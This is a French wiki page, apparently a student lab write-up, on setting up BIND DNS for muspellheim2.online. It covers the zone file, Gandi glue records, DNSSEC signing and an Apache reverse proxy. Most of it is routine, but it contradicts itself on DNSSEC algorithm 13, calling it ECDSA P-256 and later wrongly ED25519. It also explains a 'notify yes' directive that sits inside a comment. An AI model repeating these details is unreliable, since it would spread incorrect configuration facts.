📄 '''Fichier :''' &amp;lt;code&amp;gt;/etc/bind/zones/muspellheim2.online/muspellheim2.zone&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier définit tous les enregistrements DNS pour le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Il est utilisé par le serveur BIND '''maître''' (primary) pour répondre aux requêtes DNS.&lt;br /&gt;
&lt;br /&gt;
===== 🧾 En-tête : SOA (Start Of Authority) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
@ IN SOA ns.muspellheim2.online. admin.muspellheim2.online. (&lt;br /&gt;
           3609     ; Numéro de version&lt;br /&gt;
          21600     ; Rafraîchissement (6h)&lt;br /&gt;
           3600     ; Re-tentative (1h)&lt;br /&gt;
        2592000     ; Expiration (30j)&lt;br /&gt;
          86400 )   ; Cache négatif (24h)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 &amp;lt;code&amp;gt;@&amp;lt;/code&amp;gt; : représente le domaine racine (&amp;lt;code&amp;gt;muspellheim2.online.&amp;lt;/code&amp;gt; ici)&lt;br /&gt;
&lt;br /&gt;
🔹 &amp;lt;code&amp;gt;SOA&amp;lt;/code&amp;gt; : Spécifie '''l’autorité principale''' de la zone. Ici :&lt;br /&gt;
&lt;br /&gt;
* Serveur DNS maître : &amp;lt;code&amp;gt;ns.muspellheim2.online.&amp;lt;/code&amp;gt;&lt;br /&gt;
* Contact admin : &amp;lt;code&amp;gt;admin@muspellheim2.online&amp;lt;/code&amp;gt; (le point remplace le &amp;lt;code&amp;gt;@&amp;lt;/code&amp;gt;)&lt;br /&gt;
A chaque modification de ce fichier, il faut incrémenter le numéro de version de +1.&lt;br /&gt;
&lt;br /&gt;
===== 📡 Serveurs DNS (NS) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
@ IN NS ns.muspellheim2.online.&lt;br /&gt;
@ IN NS ns.jotunheim2.tech.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Ces lignes déclarent les serveurs DNS autoritaires pour cette zone :&lt;br /&gt;
&lt;br /&gt;
- ns.muspellheim2.online. (le maître)&lt;br /&gt;
&lt;br /&gt;
- ns.jotunheim2.tech. (un secondaire)&lt;br /&gt;
&lt;br /&gt;
===== 🧭 Enregistrements de type A / AAAA =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
ns         IN A    193.48.57.172&lt;br /&gt;
ns         IN AAAA 2001:660:4401:60a0:216:3eff:fe91:f4e3&lt;br /&gt;
@          IN A    193.48.57.172&lt;br /&gt;
@          IN AAAA 2001:660:4401:60a0:216:3eff:fe91:f4e3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''A''' : Adresse IPv4&lt;br /&gt;
&lt;br /&gt;
🔹 '''AAAA''' : Adresse IPv6&lt;br /&gt;
&lt;br /&gt;
Ces enregistrements associent :&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ns.muspellheim2.online&amp;lt;/code&amp;gt; à ses adresses IP (serveur DNS)&lt;br /&gt;
* &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; lui-même à la même machine (le site est hébergé dessus)&lt;br /&gt;
&lt;br /&gt;
===== 🔗 Alias (CNAME) =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
www IN CNAME muspellheim2.online.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Les requêtes pour &amp;lt;code&amp;gt;www.muspellheim2.online&amp;lt;/code&amp;gt; seront redirigées vers &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cela évite de dupliquer les enregistrements A/AAAA pour &amp;lt;code&amp;gt;www&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===== 🔐 DNS Validation via Digicert =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
_gay4mlana6awxk71vd9gjuzdkzfism2.muspellheim2.online. 10800 IN CNAME dcv.digicert.com.&lt;br /&gt;
_gay4mlana6awxk71vd9gjuzdkzfism2.www.muspellheim2.online. 10800 IN CNAME dcv.digicert.com.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 Ces lignes servent à '''valider le domaine''' auprès de l’autorité de certification (Digicert) pour obtenir un certificat SSL.&lt;br /&gt;
&lt;br /&gt;
🔹 &amp;lt;code&amp;gt;dcv.digicert.com.&amp;lt;/code&amp;gt; est le serveur que Digicert utilise pour vérifier la possession du domaine (via un CNAME dynamique généré).&lt;br /&gt;
&lt;br /&gt;
On peut ensuite vérifier la syntaxe de notre '''fichier de zone DNS''' avec l’outil &amp;lt;code&amp;gt;named-checkzone&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
Cet outil nous aide à repérer les erreurs dans l’écriture du fichier, un peu comme '''Microsoft Word souligne les fautes de grammaire ou de syntaxe''' dans un texte.&lt;br /&gt;
&lt;br /&gt;
Par exemple :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~# named-checkzone muspellheim2.online /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
zone muspellheim2.online/IN: loaded serial 3609&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, le message '''&amp;quot;OK&amp;quot;''' signifie que le fichier est bien écrit et ne contient pas d’erreurs de syntaxe.&lt;br /&gt;
&lt;br /&gt;
Juste à noter : &amp;lt;code&amp;gt;named-checkzone&amp;lt;/code&amp;gt; vérifie uniquement la syntaxe et la structure logique du fichier (comme la présence d’un SOA, la validité des enregistrements, etc.), '''mais pas si les adresses IP ou noms existent réellement'''.&lt;br /&gt;
&lt;br /&gt;
Une fois que tout est correctement configuré, '''n’oubliez pas de redémarrer les services &amp;lt;code&amp;gt;named&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
Cela permet à ces services de '''prendre en compte les nouvelles modifications''' que vous avez apportées dans les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Il faut aussi '''attribuer les bons droits d'accès aux fichiers''', pour que &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt; puisse les lire correctement. Sinon, il risque de ne pas fonctionner comme prévu.&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
chown bind:bind /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
chmod 644 /etc/bind/zones/muspellheim2.online/muspellheim2.zone&lt;br /&gt;
&lt;br /&gt;
chown bind:bind /etc/bind/named.conf.local&lt;br /&gt;
chmod 644 /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;chown&amp;lt;/code&amp;gt; permet de '''donner la propriété des fichiers à l’utilisateur et au groupe &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;'''.&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;chmod 644&amp;lt;/code&amp;gt; donne les '''droits de lecture au service &amp;lt;code&amp;gt;bind&amp;lt;/code&amp;gt;''', tout en empêchant d'autres utilisateurs non privilégiés de les modifier.&lt;br /&gt;
&lt;br /&gt;
===== Vérification avec l'outil &amp;quot;dig&amp;quot; =====&lt;br /&gt;
On peut '''vérifier que notre serveur DNS fonctionne correctement''' en utilisant la commande &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
C’est un outil qui envoie une requête DNS pour demander l’adresse IP d’un nom de domaine, et affiche la réponse complète reçue du serveur.&lt;br /&gt;
&lt;br /&gt;
Par exemple, ici on interroge notre propre serveur DNS local (&amp;lt;code&amp;gt;@localhost&amp;lt;/code&amp;gt;) pour vérifier s’il connaît le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; :&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
root@Atreus:~# dig @localhost muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cela signifie que la requête s’est bien déroulée, et qu’il n’y a '''pas d’erreur''' dans le fichier de zone.&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
muspellheim2.online.    200     IN      A       193.48.57.172&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Le serveur DNS a bien répondu avec l’adresse IP '''193.48.57.172''', donc '''la zone est bien configurée et active'''.Ce test permet de s'assurer que '''le nom de domaine est bien reconnu et renvoie vers la bonne adresse IP'''.&lt;br /&gt;
&lt;br /&gt;
On peut aussi tester depuis '''une autre machine virtuelle''', pour voir si '''le domaine est connu à l'extérieur''', par exemple par '''le DNS public de Google (&amp;lt;code&amp;gt;8.8.8.8&amp;lt;/code&amp;gt;)'''.&lt;br /&gt;
&lt;br /&gt;
Pour cela, on utilise &amp;lt;code&amp;gt;dig&amp;lt;/code&amp;gt; en spécifiant l’IP du serveur DNS qu’on veut interroger :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
root@GOW:~# dig @8.8.8.8 muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
;; -&amp;gt;&amp;gt;HEADER&amp;lt;&amp;lt;- opcode: QUERY, status: NOERROR&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
;; ANSWER SECTION:&lt;br /&gt;
muspellheim2.online.    189     IN      A       193.48.57.172&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Google a répondu avec l’adresse IP '''193.48.57.172''', ce qui prouve que '''notre domaine est maintenant reconnu depuis l’extérieur'''.&lt;br /&gt;
🧠 '''Petit point d’attention''' : Si tu n’as pas volontairement '''enregistré le domaine &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt; sur Internet''' (via un registrar, ici c'est Gandi), alors :&lt;br /&gt;
&lt;br /&gt;
* soit '''ton environnement de test est spécial''' (ex : en école avec une infra réseau propre et un DNS intermédiaire qui communique avec Google),&lt;br /&gt;
* soit '''le domaine a réellement été enregistré publiquement''', auquel cas tu partages un vrai domaine avec d'autres (et ça peut poser des conflits si tu voulais juste faire des tests en local).&lt;br /&gt;
&lt;br /&gt;
==== REGISTRAR ET PROPAGATION DNS ====&lt;br /&gt;
Pour rendre notre '''serveur DNS opérationnel et accessible depuis Internet''', on se rend sur le site du '''registrar''' (dans notre cas : '''Gandi'''), qui est l’organisme auprès duquel on a acheté notre '''nom de domaine'''.&lt;br /&gt;
&lt;br /&gt;
Dans l’onglet '''&amp;quot;Nameserver&amp;quot;''', on ajoute un '''Glue Record'''.&lt;br /&gt;
&lt;br /&gt;
Un Glue Record sert à '''lier notre nom de domaine à nos propres serveurs DNS''', en indiquant leurs adresses IP :&lt;br /&gt;
&lt;br /&gt;
* l’adresse '''IPv4''' de la '''machine mandataire''' (notre DNS principal),&lt;br /&gt;
* les adresses '''IPv6''' des '''machines de service''', si on veut un fonctionnement complet en IPv6.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on '''remplace les serveurs de noms (Nameservers) par les nôtres''', c’est-à-dire notre propre serveur DNS.&lt;br /&gt;
&lt;br /&gt;
Cela fait de notre serveur '''le référent officiel pour la gestion des noms de domaine''' associés à &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
🧠 Pourquoi on fait tout ça ?&lt;br /&gt;
&lt;br /&gt;
Eh bien, comme on l’a vu avec la commande :&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
dig @8.8.8.8 muspellheim2.online&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Google a pu répondre car '''notre domaine est désormais public''' !&lt;br /&gt;
&lt;br /&gt;
Si on n’avait pas fait cette configuration chez Gandi, personne sur Internet (hors de notre réseau) n’aurait pu le voir.&lt;br /&gt;
&lt;br /&gt;
🌐 Pour faire simple :&lt;br /&gt;
&lt;br /&gt;
En ajoutant un Glue Record et en configurant nos Nameservers, on annonce notre domaine au monde entier.&lt;br /&gt;
&lt;br /&gt;
Cela permet à n’importe quel ordinateur sur Internet de retrouver l’adresse IP de notre serveur — et donc d’afficher notre site ou d’accéder à nos services.&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:NameserverGandi.png|gauche|NameserverGandi Pierre CASIMIRI muspellheim2.online]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:GlueRecordGandi.png|gauche|2305x2305px|GlueRecordGandi Pierre CASIMIRI muspellheim2.online]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==== DIFFUSION DE NOTRE SUPERBE SERVEUR AU MONDE ====&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
🌍 Une fois le Glue Record ajouté… on attend un peu que le monde entier soit au courant !&lt;br /&gt;
&lt;br /&gt;
Une fois qu’on a :&lt;br /&gt;
&lt;br /&gt;
* ajouté les '''Glue Records''',&lt;br /&gt;
* remplacé les '''Nameservers''' dans le registrar (comme Gandi),&lt;br /&gt;
&lt;br /&gt;
eh bien il faut patienter un peu. Pourquoi ? Parce que '''les informations DNS doivent se propager''' à travers le monde. Cette phase peut prendre '''quelques heures à quelques jours''', selon les serveurs.&lt;br /&gt;
&lt;br /&gt;
🛰️ Comment savoir si c’est bien propagé ?&lt;br /&gt;
&lt;br /&gt;
Il existe des sites comme '''DNSChecker.org''' qui permettent de voir si votre nom de domaine est '''bien visible depuis plusieurs endroits de la planète'''.&lt;br /&gt;
&lt;br /&gt;
📌 Exemple : &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Sur DNSChecker, vous entrez votre domaine et choisissez le type d'enregistrement que vous voulez vérifier, par exemple :&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
!Type&lt;br /&gt;
!Ce que ça affiche&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;&lt;br /&gt;
|Adresse IPv4 liée au domaine&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;AAAA&amp;lt;/code&amp;gt;&lt;br /&gt;
|Adresse IPv6&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt;&lt;br /&gt;
|Liste des Nameservers en charge du domaine&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;CNAME&amp;lt;/code&amp;gt;&lt;br /&gt;
|Alias d’un domaine vers un autre&lt;br /&gt;
|-&lt;br /&gt;
|&amp;lt;code&amp;gt;DNSKEY&amp;lt;/code&amp;gt;&lt;br /&gt;
|Clés publiques DNSSEC (on y reviendra plus tard)&lt;br /&gt;
|}&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:DNSChecker1.png|gauche|768x768px|DNSChecker1]]&lt;br /&gt;
![[Fichier:DNSChecker3.png|alt=DNSChecker3|bordure|687x687px]]&lt;br /&gt;
! rowspan=&amp;quot;2&amp;quot; |[[Fichier:DNSChecker5.png|alt=DNSChecker5|655x655px]]&lt;br /&gt;
|-&lt;br /&gt;
|[[Fichier:DNSChecker2.png|alt=DNSChecker2|bordure|768x768px]]&lt;br /&gt;
|[[Fichier:DNSChecker4.png|alt=DNSChecker4|701x701px]]&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
* ✅ '''Check vert''' : ça veut dire que ce serveur DNS a bien reçu et reconnu ton info.&lt;br /&gt;
* 🟡 '''Check en attente''' : propagation en cours ou serveur lent.&lt;br /&gt;
* ❌ '''Check rouge''' : info non encore propagée à ce serveur ou pas propagée car les certificats ne sont pas acceptés par ses serveurs DNS.&lt;br /&gt;
&lt;br /&gt;
==== DNSSEC sur Atreus ====&lt;br /&gt;
&lt;br /&gt;
===== 🧭 Configuration DNS sur le serveur BIND – &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; =====&lt;br /&gt;
📄 Fichier : &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ce fichier contient la déclaration des zones DNS locales pour le serveur BIND.&lt;br /&gt;
&lt;br /&gt;
On y définit ici :&lt;br /&gt;
&lt;br /&gt;
-Une zone primaires (gérées en local)&lt;br /&gt;
&lt;br /&gt;
-Une zone secondaire (copiée depuis un autre serveur)&lt;br /&gt;
&lt;br /&gt;
Et une politique DNSSEC.&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
cat /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;muspellheim2.online&amp;quot; {&lt;br /&gt;
&lt;br /&gt;
 type primary;&lt;br /&gt;
 file &amp;quot;/etc/bind/zones/muspellheim2.online/muspellheim2.zone&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
allow-transfer{2001:660:4401:60a0:216:3eff:fee7:c51b;&lt;br /&gt;
&lt;br /&gt;
              2001:660:4401:60a0:216:3eff:fed0:9ab0;};  // filtrage des secondaires&lt;br /&gt;
&lt;br /&gt;
also-notify{2001:660:4401:60a0:216:3eff:fee7:c51b;}; // pour les secondaires vicieux notify yes; // notification des secondaires &lt;br /&gt;
key-directory &amp;quot;/etc/bind/keys&amp;quot;; &lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot;; &lt;br /&gt;
inline-signing yes; };&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;jotunheim2.tech&amp;quot;{&lt;br /&gt;
&lt;br /&gt;
       type slave;&lt;br /&gt;
       file &amp;quot;/etc/bind/jotunheim2.tech&amp;quot;;&lt;br /&gt;
       primaries{2001:660:4401:60a0:216:3eff:fed0:9ab0;};&lt;br /&gt;
&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
&lt;br /&gt;
 keys {&lt;br /&gt;
   ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
   zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
 };&lt;br /&gt;
 nsec3param;&lt;br /&gt;
&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
🔹 '''type primary''' : Ce serveur est '''l'autorité principale''' pour la zone.&lt;br /&gt;
&lt;br /&gt;
🔹 '''file''' : Chemin du fichier de zone contenant tous les enregistrements DNS (&amp;lt;code&amp;gt;A&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;AAAA&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;NS&amp;lt;/code&amp;gt;, etc.).&lt;br /&gt;
&lt;br /&gt;
🔹 '''allow-transfer''' : Liste des serveurs secondaires '''autorisés à faire un transfert de zone''' (AXFR). Cela sécurise l’accès aux données DNS.&lt;br /&gt;
&lt;br /&gt;
🔹 '''also-notify''' : Force l’envoi de notifications DNS vers certains secondaires, même s’ils ne sont pas configurés comme secondaires officiels.&lt;br /&gt;
&lt;br /&gt;
🔹 '''notify yes''' : Active les notifications automatiques des serveurs secondaires lorsqu’une mise à jour de la zone est faite.&lt;br /&gt;
&lt;br /&gt;
🔹 '''dnssec-policy &amp;quot;dnspol&amp;quot;''' : Active '''DNSSEC''' avec une politique personnalisée.&lt;br /&gt;
&lt;br /&gt;
🔹 '''inline-signing yes''' : Active la '''signature automatique''' de la zone par BIND.&lt;br /&gt;
&lt;br /&gt;
====== Zone secondaire : &amp;lt;code&amp;gt;jotunheim2.tech&amp;lt;/code&amp;gt; ======&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
zone &amp;quot;jotunheim2.tech&amp;quot; {&lt;br /&gt;
  type slave;&lt;br /&gt;
  file &amp;quot;/etc/bind/jotunheim2.tech&amp;quot;;&lt;br /&gt;
  primaries { 2001:660:4401:60a0:216:3eff:fed0:9ab0; };&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''type slave''' : Ce serveur récupère les données de zone depuis un '''serveur primaire distant'''.&lt;br /&gt;
&lt;br /&gt;
🔹 '''primaries { ... }''' : Adresse du serveur maître à interroger pour obtenir la zone.&lt;br /&gt;
&lt;br /&gt;
🔹 '''file''' : Emplacement local où la zone est stockée après transfert.&lt;br /&gt;
&lt;br /&gt;
====== 🔐 Politique DNSSEC : &amp;lt;code&amp;gt;&amp;quot;dnspol&amp;quot;&amp;lt;/code&amp;gt; ======&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;vim&amp;quot;&amp;gt;&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
  keys {&lt;br /&gt;
    ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
  };&lt;br /&gt;
  nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🔹 '''ksk''' : Key Signing Key (clé qui signe les autres clés DNS).&lt;br /&gt;
&lt;br /&gt;
🔹 '''zsk''' : Zone Signing Key (clé qui signe les enregistrements DNS).&lt;br /&gt;
&lt;br /&gt;
🔹 '''algorithm 13''' : Il s’agit d’'''ECDSA P-256 with SHA-256''' (&amp;lt;nowiki&amp;gt;RFC 6605&amp;lt;/nowiki&amp;gt;), algorithme sécurisé et moderne.&lt;br /&gt;
&lt;br /&gt;
🔹 '''nsec3param''' : Indique que '''NSEC3''' est utilisé (permet de sécuriser les réponses &amp;quot;ce nom n'existe pas&amp;quot; sans divulguer d'autres noms).&lt;br /&gt;
&lt;br /&gt;
✅ Les deux clés sont générées dans le répertoire &amp;lt;code&amp;gt;key-directory&amp;lt;/code&amp;gt;, ont une durée de vie '''illimitée''', et utilisent '''l’algorithme 13''' (ED25519, rapide et sécurisé).&lt;br /&gt;
&lt;br /&gt;
✅ &amp;lt;code&amp;gt;nsec3param&amp;lt;/code&amp;gt; : active la protection contre l’énumération de noms (empêche de “scanner” une zone DNS facilement).&lt;br /&gt;
&lt;br /&gt;
Pour que '''DNSSEC fonctionne correctement''', il faut '''déclarer la clé KSK''' (Key Signing Key) chez votre '''registrar''', ici '''Gandi'''.&lt;br /&gt;
&lt;br /&gt;
Sur votre machine, les clés sont générées automatiquement dans le répertoire (key-directory dans le fichier &amp;lt;code&amp;gt;/etc/bind/named.conf.local)&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
/etc/bind/keys/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
Par exemple, vous pouvez voir des fichiers comme ceux-ci :&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
Kmuspellheim2.online.+013+03837.key&lt;br /&gt;
Kmuspellheim2.online.+013+03837.private&lt;br /&gt;
Kmuspellheim2.online.+013+03837.state&lt;br /&gt;
&lt;br /&gt;
Kmuspellheim2.online.+013+14053.key&lt;br /&gt;
Kmuspellheim2.online.+013+14053.private&lt;br /&gt;
Kmuspellheim2.online.+013+14053.state&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;🗝️ Les fichiers importants :&lt;br /&gt;
&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.key&amp;lt;/code&amp;gt;''' contiennent la '''clé publique''' (celle que vous devez copier/coller sur Gandi).&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.private&amp;lt;/code&amp;gt;''' contiennent la '''clé privée''' (à '''ne jamais partager''' !).&lt;br /&gt;
* Les fichiers '''&amp;lt;code&amp;gt;.state&amp;lt;/code&amp;gt;''' servent à BIND pour gérer l’état et la durée de validité des clés.&lt;br /&gt;
&lt;br /&gt;
Pour éviter tout problème avec la validation DNSSEC, pensez à mettre les deux fichiers .key dans l’interface de Gandi, dans la partie DNSSEC de votre domaine.&lt;br /&gt;
&lt;br /&gt;
💡 En faisant cela, vous reliez votre zone DNS signée à la chaîne de confiance globale d’Internet : tout le monde pourra alors vérifier que vos données DNS sont authentiques et non modifiées.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la configuration DNSSEC en place, on peut tester si '''tout fonctionne correctement''' avec le site '''DNSViz'''.&lt;br /&gt;
&lt;br /&gt;
Ce site permet d’'''analyser les signatures DNSSEC''' et de vérifier si la '''chaîne de confiance''' est bien construite du début à la fin (depuis la racine DNS jusqu’à votre zone).&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|+&lt;br /&gt;
![[Fichier:DNSviz Muspellheim2.online.png|gauche|1129x1129px|DNSviz Muspellheim2.online]]&lt;br /&gt;
|}&lt;br /&gt;
Le graphe montre '''la chaîne de confiance DNSSEC''' :&lt;br /&gt;
&lt;br /&gt;
* On part de la '''racine DNS''' (&amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), qui délègue au TLD &amp;lt;code&amp;gt;.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
* &amp;lt;code&amp;gt;.online&amp;lt;/code&amp;gt; contient une clé DS qui fait le lien avec '''ton domaine''' &amp;lt;code&amp;gt;muspellheim2.online&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Ensuite, ton domaine possède ses propres clés (DNSKEY), qui signent toutes les infos de ta zone (A, NS, AAAA, etc.)&lt;br /&gt;
&lt;br /&gt;
✅ Tout est &amp;quot;Secure&amp;quot; sur le graphe → l'''a configuration DNSSEC est correcte et vérifiée''' !&lt;br /&gt;
== APACHE ==&lt;br /&gt;
=====&amp;lt;span style=&amp;quot;color:#bab9bd;font-weight: bold;&amp;quot;&amp;gt;&amp;lt;u&amp;gt; '''Configuration d’Apache sur GOW''' :&amp;lt;/u&amp;gt; &amp;lt;/span&amp;gt;=====&lt;br /&gt;
Apache va '''écouter les requêtes envoyées à muspellheim2.online''', puis les '''rediriger vers un autre serveur''' (ici Atreus), via son '''adresse IPv6'''.&lt;br /&gt;
&lt;br /&gt;
Cela permet d’accéder à un site web qui tourne sur Atreus '''même si celui-ci n’a pas d’IPv4 publique'''.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;root@GOW:~# cat /etc/apache2/sites-available/muspellheim2.online.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#Partie HTTP (port 80)&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
&lt;br /&gt;
    ProxyPass / http://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
    ProxyPassReverse / http://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Partie HTTPS (port 443)&lt;br /&gt;
&amp;lt;IfModule mod_ssl.c&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName muspellheim2.online&lt;br /&gt;
&lt;br /&gt;
    SSLProxyEngine on&lt;br /&gt;
    ProxyPreserveHost on&lt;br /&gt;
&lt;br /&gt;
    SSLCertificateFile /etc/ssl/certs/muspellheim2.online.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/private/muspellheim2.online.key&lt;br /&gt;
    SSLCertificateChainFile /etc/ssl/certs/KGandiPierre/GandiCert.pem&lt;br /&gt;
&lt;br /&gt;
    ProxyPass / https://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
   ProxyPassReverse / https://[2001:660:4401:60a0:216:3eff:fe91:f4e3]/&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
